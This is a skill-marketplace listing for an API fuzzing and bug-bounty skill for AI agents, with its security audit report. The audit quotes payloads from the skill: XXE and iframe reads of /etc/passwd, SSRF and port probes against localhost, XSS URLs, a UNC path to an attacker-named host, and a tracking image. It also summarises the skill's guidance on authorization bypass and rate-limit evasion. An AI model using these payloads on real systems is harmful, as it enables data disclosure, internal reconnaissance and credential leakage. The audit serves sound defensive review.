Skills api-fuzzing-bug-bounty
📦
api-fuzzing-bug-bounty
Content revision r2 Critical ⚙️ External commands🌐 Network access
Test APIs for Security Weaknesses
API assessments can miss authorization, injection, and protocol-specific weaknesses. This skill organizes scoped tests for REST, SOAP, and GraphQL interfaces.
Supports: Claude Codex Code(CC)
Do not auto-install this skill.
The canonical policy requires operator review before any installation action.
Install with my Agent
Copy this request to your Agent. It includes the canonical Skill page and manifest.
Agent request
Review the Skillstore skill "api-fuzzing-bug-bounty" from https://skillstore.io/skills/sickn33-api-fuzzing-bug-bounty.md and its manifest at https://skillstore.io/api/skills/sickn33-api-fuzzing-bug-bounty/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.Your Agent should still show its plan and request any confirmation required by the security policy.
Agent-readable resources
Use these links when an AI agent, crawler, or script needs clean context instead of reading the full page.
Test it
Using "api-fuzzing-bug-bounty". Create a checklist for an authorized REST invoice API.
Expected outcome:
- Map documented and historical endpoint versions.
- Compare owner, peer, administrator, and unauthenticated access.
- Test supported methods and content types with bounded requests.
- Record expected status, observed status, and evidence for each case.
Using "api-fuzzing-bug-bounty". Review a GraphQL service without causing service disruption.
Expected outcome:
- Confirm whether schema discovery is permitted.
- Use shallow queries with fixed response limits.
- Compare field access across approved test roles.
- Stop when latency or error rates exceed agreed thresholds.
Using "api-fuzzing-bug-bounty". Summarize an object authorization finding.
Expected outcome:
A peer test account accessed another account's invoice. The report records scope, impact, reproduction conditions, evidence, and server-side authorization remediation.
Security Audit
Criticalv5 • 7/23/2026 Open versioned report
Most external-command alerts are false positives caused by Markdown code fences, not executable Ruby expressions. Confirmed examples include active reconnaissance, SSRF, XSS, local-file access, and external tracking payloads. The skill also provides operational authorization-bypass and denial-of-service guidance despite its authorized-use disclaimer.
1
Files scanned
440
Lines analyzed
15
Review items
0
False positives ignored
Confirmed security concerns (4)
Critical
System password file access
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
The XXE payload explicitly directs a parser to read file:///etc/passwd. On a vulnerable live target, it can disclose local system account data.
Critical
System password file access
<iframe src="file:///etc/passwd" height=1000 width=800>
The iframe payload explicitly directs a PDF renderer to load file:///etc/passwd. On a vulnerable live target, it can disclose local system account data.
High
Operational Authorization Bypass Guidance
The skill teaches brute-force checks, victim identifier substitution, parameter pollution, GraphQL data access, and 401 or 403 endpoint bypasses.
The cited sections provide concrete bypass sequences and victim-oriented identifiers. The authorization disclaimer reduces stated misuse intent but does not remove the operational capability.
High
Denial-of-Service and Rate-Limit Evasion Guidance
The skill recommends GraphQL batching, deeply nested queries, extreme limit values, and IP rotation to bypass controls or exhaust resources.
The headings and examples explicitly identify rate-limit bypass and denial-of-service attempts. The troubleshooting table recommends IP rotation when rate limited.
Capability review items (15)
These are real local capabilities that may be expected for this skill, so they require review but are not counted as confirmed malicious behavior.
High
Hardcoded URL
<object data="http://127.0.0.1:8443"/>
This URL is an operational SSRF payload targeting a loopback service. A vulnerable renderer or API could be induced to reach an internal endpoint.
High
Hardcoded URL
<img src="http://127.0.0.1:445"/>
This URL is an internal port-probing payload for port 445. A vulnerable target could disclose internal network reachability.
High
Hardcoded URL
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
The URL embeds a Windows web configuration path to test unauthorized local-file retrieval. Successful use could disclose sensitive server configuration.
High
Hardcoded URL
https://example.org/download?filename=\\smb.dns.attacker.com\a.png
The UNC path points to an attacker-named host and is intended to trigger an outbound SMB or DNS interaction. This can leak network metadata or credentials.
High
Hardcoded URL
http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}
The URL contains an operational cross-site scripting payload for an API endpoint. Successful use could execute script in a victim browser context.
High
Hardcoded URL
http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E
The URL contains an operational cross-site scripting payload for an API endpoint. Successful use could execute script in a victim browser context.
High
Hardcoded URL
<object data="http://127.0.0.1:8443"/>
This URL is an operational SSRF payload targeting a loopback service. A vulnerable renderer or API could be induced to reach an internal endpoint.
High
Hardcoded URL
<img src="http://127.0.0.1:445"/>
This URL is an internal port-probing payload for port 445. A vulnerable target could disclose internal network reachability.
High
Hardcoded URL
<img src="https://iplogger.com/yourcode.gif"/>
The external tracking URL is explicitly presented for IP disclosure. Loading it from a target can send target network metadata to a third party.
High
Hardcoded IP address
<object data="http://127.0.0.1:8443"/>
The loopback address is an operational SSRF payload intended to make a target contact an internal service. Applying it to a live target can cross network trust boundaries.
High
Hardcoded IP address
<img src="http://127.0.0.1:445"/>
The loopback address is an internal port-probing payload intended to make a target contact port 445. Applying it can expose internal service reachability.
High
Hardcoded IP address
<object data="http://127.0.0.1:8443"/>
The loopback address is an operational SSRF payload intended to make a target contact an internal service. Applying it to a live target can cross network trust boundaries.
High
Hardcoded IP address
<img src="http://127.0.0.1:445"/>
The loopback address is an internal port-probing payload intended to make a target contact port 445. Applying it can expose internal service reachability.
Medium
Hardcoded URL
kr scan https://target.com -w routes-large.kite
This is an active Kiterunner scan command against a placeholder target. Replacing the placeholder initiates endpoint reconnaissance and network traffic.
Medium
Hardcoded URL
curl -X POST https://target.com/graphql \
The curl example sends a GraphQL introspection request to a placeholder target. Replacing the placeholder performs active schema reconnaissance.
Risk Factors
⚙️ External commands (48)
SKILL.md:52-65 SKILL.md:65-69 SKILL.md:69-81 SKILL.md:81-87 SKILL.md:87-95 SKILL.md:95-99 SKILL.md:99-115 SKILL.md:115-121 SKILL.md:121-127 SKILL.md:127-131 SKILL.md:131-137 SKILL.md:137-141 SKILL.md:141-143 SKILL.md:143-147 SKILL.md:147-150 SKILL.md:150-154 SKILL.md:154-160 SKILL.md:160-164 SKILL.md:164-174 SKILL.md:174-184 SKILL.md:184-186 SKILL.md:186-190 SKILL.md:190-192 SKILL.md:192-196 SKILL.md:196-205 SKILL.md:205-209 SKILL.md:209-219 SKILL.md:219-223 SKILL.md:223-227 SKILL.md:227-231 SKILL.md:231-247 SKILL.md:247-251 SKILL.md:251-257 SKILL.md:257-275 SKILL.md:275-289 SKILL.md:289-297 SKILL.md:297-309 SKILL.md:309-313 SKILL.md:313-319 SKILL.md:319-347 SKILL.md:347-348 SKILL.md:348-396 SKILL.md:396-406 SKILL.md:406-416 SKILL.md:416-420 SKILL.md:420-424 SKILL.md:424-432 SKILL.md:432-433
Detected Patterns
System password file access×2
Audited by: codex View Audit History →
Share & cite this report
Share the versioned assessment report, neutral badge, embed card, and citations. Skillstore reports evidence without deciding whether this Skill is safe.
Copy report link
https://skillstore.io/skills/sickn33-api-fuzzing-bug-bounty/audits/5?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdown badge
[](https://skillstore.io/skills/sickn33-api-fuzzing-bug-bounty?utm_source=security_passport_badge)HTML badge
<a href="https://skillstore.io/skills/sickn33-api-fuzzing-bug-bounty?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-api-fuzzing-bug-bounty/security.svg" alt="Skillstore security assessment" loading="lazy"></a>Embed card
<iframe src="https://skillstore.io/embed/skills/sickn33-api-fuzzing-bug-bounty.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>Academic citations (APA · BibTeX · CFF)
APA citation
zebbern. (2026). api-fuzzing-bug-bounty security audit report (audit version 5) [Author version unspecified]. Skillstore. https://skillstore.io/skills/sickn33-api-fuzzing-bug-bounty/audits/5BibTeX citation
@techreport{zebbern-sickn33-api-fuzzing-bug-bounty-2026,
author = {zebbern},
title = {api-fuzzing-bug-bounty security audit report (audit version 5)},
institution = {Skillstore},
year = {2026},
number = {5},
url = {https://skillstore.io/skills/sickn33-api-fuzzing-bug-bounty/audits/5},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "api-fuzzing-bug-bounty security audit report (audit version 5)"
version: "unspecified"
type: report
authors:
- name: "zebbern"
date-released: "2026-07-23"
url: "https://skillstore.io/skills/sickn33-api-fuzzing-bug-bounty/audits/5"
identifiers:
- type: other
value: "skillstore:sickn33-api-fuzzing-bug-bounty:audit:5"
description: "Skillstore immutable audit report identifier"
Skillstore Score
Why this score Evidence Confidence: Medium 55
Architecture
85
Maintainability
87
Content
70
Community
83
Spec Compliance
What You Can Build
Plan an API Assessment
Build a scoped checklist for endpoint discovery, authentication, authorization, input validation, and protocol behavior.
Review a Bug Bounty Target
Map allowed API tests to program scope and prepare evidence for responsibly reported findings.
Strengthen API Controls
Translate common attack patterns into defensive test cases for preproduction services and security regression suites.
Try These Prompts
Create a Basic Checklist
Create an authorized API security checklist for [API type] using [documentation]. Keep tests non-destructive and explain expected evidence.
Review Authorization Controls
Review [request and response] for authentication and authorization weaknesses. Suggest safe confirmation steps within [scope].
Build a Test Matrix
Design a scoped test matrix for [API]. Cover roles, object ownership, methods, content types, versions, and rate limits.
Plan Advanced Protocol Testing
Develop a non-destructive assessment plan for [target]. Include GraphQL depth controls, SSRF safeguards, evidence capture, stop conditions, and remediation priorities.
Best Practices
- Obtain written authorization and verify scope before testing any endpoint.
- Use dedicated test accounts, bounded requests, and explicit stop conditions.
- Capture minimal evidence and redact tokens, personal data, and internal addresses.
Avoid
- Do not test production targets without written permission and confirmed scope.
- Do not bypass rate limits through IP rotation or send resource-exhaustion payloads.
- Do not access, retain, or disclose data belonging to other users.
Frequently Asked Questions
Does this skill run security tools?
No. It provides workflows, examples, and checklists. Users must operate approved tools in an authorized environment.
Which API styles are covered?
It covers REST, SOAP, and GraphQL, with the most detailed protocol-specific guidance focused on GraphQL.
Can it confirm a vulnerability?
No. It can suggest evidence and validation steps, but a qualified tester must verify behavior and impact.
Is it suitable for production testing?
Only with written authorization, precise scope, approved accounts, bounded traffic, monitoring, and explicit stop conditions.
Does it include destructive techniques?
Yes. It references denial-of-service, rate-limit evasion, file access, internal probing, and data disclosure techniques that require isolated labs.
What should a final report contain?
Include affected endpoints, roles, prerequisites, minimal reproduction steps, observed impact, redacted evidence, severity rationale, and remediation.
Developer Details
Author
zebbernLicense
MIT
Skillstore revision
r2
Version notice
The author did not declare a version.
Repository
https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/api-fuzzing-bug-bountyRef
ebdfe608f5de2b66ff37ab4af12af8ac4f5e8006
Maintenance freshness
7/26/2026
Usage
7 downloads · 171 views
File structure
📄 SKILL.md